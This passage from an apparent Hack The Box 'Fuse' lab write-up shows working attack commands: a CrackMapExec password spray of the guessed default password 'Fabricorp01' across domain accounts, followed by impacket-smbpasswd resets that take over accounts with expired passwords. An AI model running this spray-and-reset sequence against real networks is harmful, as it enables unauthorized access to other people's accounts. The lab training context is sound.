Default Password Theory
considering the following:
- STATUS_PASSWORD_MUST_CHANGE was given to the
bnielson
user upon attempting to authenticate to the SMB server - The
bnielson
user is indeed the new starter. - It is very common practice among sysadmins to set User must change password at next logon for new users
There is a high probability that the password, Fabricorp01
, is the default password of the organization
In which case, there may be other users with the same password
Password Spray
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ cme smb $IP -d FABRICORP.LOCAL --kdcHost fuse.fabricorp.local -u users -p Fabricorp01 --continue-on-success
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:FABRICORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\Guest:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\krbtgt:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\svc-print:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\svc-scan:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\dandrews:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\mberbatov:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\dmuir:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\astein:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\sthompson:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\bnielson:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\fuse:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\pmerton:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB 10.10.10.193 445 FUSE [-] FABRICORP.LOCAL\administrator:Fabricorp01 STATUS_LOGON_FAILURE
It turns out there are 2 additional users that returns the STATUS_PASSWORD_MUST_CHANGE error; tlabel
and bhult
This means that I am able to change their passwords remotely just like how it was done for the bnielson
user
Remote Password Reset
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ impacket-smbpasswd fabricorp.local/tlavel:Fabricorp01@$IP -newpass Qwer0000
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ impacket-smbpasswd fabricorp.local/bhult:Fabricorp01@$IP -newpass Qwer0000
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.
Just like how it is for the bnielson
user, all the password gets reset periodically due to the suspected background task.
I would have to keep resetting users password as I go along.